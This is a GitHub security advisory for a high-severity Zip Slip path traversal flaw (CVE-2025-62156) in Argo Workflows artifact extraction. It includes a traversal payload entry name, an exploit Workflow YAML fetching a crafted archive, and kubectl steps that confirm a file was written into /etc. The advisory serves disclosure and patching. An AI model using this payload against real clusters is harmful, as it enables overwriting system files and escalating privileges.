argoproj/argo-workflows · Security
Argo Workflow has a Zipslip Vulnerability
- GHSA ID
- GHSA-p84v-gxvw-73pf
- CVE ID
- CVE-2025-62156
- Severity
- high
- Published
- Updated
- CVSS
- 8.1 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
- CVSS v3
- 8.1 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Description
Vulnerability Description
Vulnerability Overview
- During the artifact extraction process, the
unpack()function extracts the compressed file to a temporary directory (/etc.tmpdir) and then attempts to move its contents to/etcusing therename()system call, - However, since
/etcis an already existing system directory, therename()system call fails, making normal archive extraction impossible. - At this point, if a malicious user sets the entry name inside the
tar.gzfile to a path traversal like../../../../../etc/zipslip-poc, - The
untar()function combines paths usingfilepath.Join(dest, filepath.Clean(header.Name))without path validation, resulting intarget = "/work/input/../../../../../etc/zipslip-poc", - Ultimately, the
/etc/zipslip-pocfile is created, bypassing the normal archive extraction constraints and enabling direct file writing to system directories.
untar(): Writing Files Outside the Extraction Directory
- Base Path:
/work/tmp(dest) — The intended extraction directory in the wait container - Malicious Entry:
../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt(header.Name) — Path traversal payload - Path Cleaning:
filepath.Clean("../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt") = /mainctrfs/etc/zipslip-ok.txt— Go’s path cleaning normalizes the traversal - Path Joining:
filepath.Join("/work/tmp", "/mainctrfs/etc/zipslip-ok.txt") = /mainctrfs/etc/zipslip-ok.txt— Absolute path overrides base directory - File Creation:
/mainctrfs/etc/zipslip-ok.txtfile is created in the wait container - Volume Mirroring: The file appears as
/etc/zipslip-ok.txtin the main container due to volume mount mirroring
PoC
PoC Description
- The user uploaded a malicious
tar.gzfile to S3 that contains path traversal entries like../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txtdesigned to exploit the vulnerability. - In the Argo Workflows YAML, the artifact’s path is set to
/work/tmp, which should normally extract the archive to that intended directory. - However, due to the vulnerability in the
untar()function,filepath.Join("/work/tmp", "/mainctrfs/etc/zipslip-ok.txt")resolves to/mainctrfs/etc/zipslip-ok.txt, causing files to be created in unintended locations. - Since the wait container’s
/mainctrfs/etcand the main container’s/etcshare the same volume, files created in the wait container become visible in the main container’s/etc/directory. - Consequently, the archive that should extract to
/work/tmpexploits the Zip Slip vulnerability to create files in the/etc/directory, enabling manipulation of system configuration files.
exploit yaml
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
generateName: zipslip-
spec:
entrypoint: main
templates:
- name: main
container:
image: ubuntu:22.04
command: ["sh"]
args: ["-c", "echo 'Starting container'; sleep 3000"]
volumeMounts:
- name: etcvol
mountPath: /etc
inputs:
artifacts:
- name: evil
path: /work/tmp
archive:
tar: {}
http:
url: "https://zipslip-s3.s3.ap-northeast-2.amazonaws.com/etc-poc.tgz"
volumes:
- name: etcvol
emptyDir: {}
exploit
-
Create Zipslip
-
Upload S3
-
Create Workflow
-
Run
-
Exploit Success
# Find Workflow and Pod NS=default WF=$(kubectl get wf -n "$NS" --sort-by=.metadata.creationTimestamp --no-headers | awk 'END{print $1}') POD=$(kubectl get pod -n "$NS" -l workflows.argoproj.io/workflow="$WF" --no-headers | awk 'END{print $1}') echo "NS=$NS WF=$WF POD=$POD" # Connect Main Container kubectl exec -it -n "$NS" "$POD" -c main -- bash # Exploit cd /etc/ ls -l cat zipslip-ok.txt
Impact
Container Isolation Bypass
The Zip Slip vulnerability allows attackers to write files to system directories like /etc/ within the container, potentially overwriting critical configuration files such as /etc/passwd, /etc/hosts, or /etc/crontab, which could lead to privilege escalation or persistent access within the compromised container.
CWEs
- CWE-22 · Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- CWE-23 · Relative Path Traversal
References
- https://github.com/argoproj/argo-workflows/security/advisories/GHSA-p84v-gxvw-73pf ↗
- https://nvd.nist.gov/vuln/detail/CVE-2025-62156 ↗
- https://github.com/argoproj/argo-workflows/commit/5659ad9b641fcf52c04ed594cd6493f9170f6011 ↗
- https://github.com/argoproj/argo-workflows/commit/9f6bc5d236cd1b24d607943384511d71ad17a4c3 ↗
- https://github.com/argoproj/argo-workflows/blob/946a2d6b9ac3309371fe47f49ae94c33ca7d488d/workflow/executor/executor.go#L993 ↗
- https://pkg.go.dev/vuln/GO-2025-4023 ↗
- https://github.com/advisories/GHSA-p84v-gxvw-73pf ↗